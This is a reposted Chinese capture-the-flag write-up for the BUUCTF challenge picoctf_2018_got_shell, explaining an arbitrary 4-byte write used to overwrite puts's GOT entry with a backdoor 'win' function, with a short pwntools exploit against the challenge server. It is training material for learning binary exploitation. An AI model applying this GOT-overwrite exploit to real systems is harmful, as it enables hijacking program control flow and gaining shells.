[BUUCTF-pwn]——picoctf_2018_got_shell
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——picoctf_2018_got_shell
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——picoctf_2018_got_shell
- 題目地址:https://buuoj.cn/challenges#picoctf_2018_got_shell
- 題目:
還是先checksec查看一下,32位程序。
IDA中看看,竟然有后門函數(shù)win。
思路
程序中沒有棧溢出,也沒有格式化字符串漏洞和堆漏洞。
那么我們就可以考慮一下邏輯的漏洞
我們看到v3是一個指針,我們可以向里面寫地址(%x是以十六進(jìn)制讀入),然后我們也可以向v4里面寫入地址。并且我們可以看到*v3 = v4這個操作。意味著我們可以將我們第二次輸入的地址,寫入第一次輸入的地址中。
是不是想到了什么。.got表
我們看到該語句下面還有puts函數(shù)執(zhí)行,那么我們就可以將v3寫成puts got表的地址,將v4寫成win函數(shù)的地址。這樣就可以在調(diào)用puts函數(shù)時,實際調(diào)用 win函數(shù)了
exploit
from pwn import * p=remote('node3.buuoj.cn',25901)elf=ELF('./PicoCTF_2018_got-shell ') puts_got=elf.got['puts'] win_addr=0x0804854Bp.sendlineafter("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", hex(puts_got))p.recv() p.sendline(hex(win_addr))p.interactive()原創(chuàng)不易,希望可以打賞支持一下。
感謝各位金主爸爸了 😉
總結(jié)
以上是生活随笔為你收集整理的[BUUCTF-pwn]——picoctf_2018_got_shell的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Collatz猜想 (Hailstone
- 下一篇: [BUUCTF-pwn]——picoct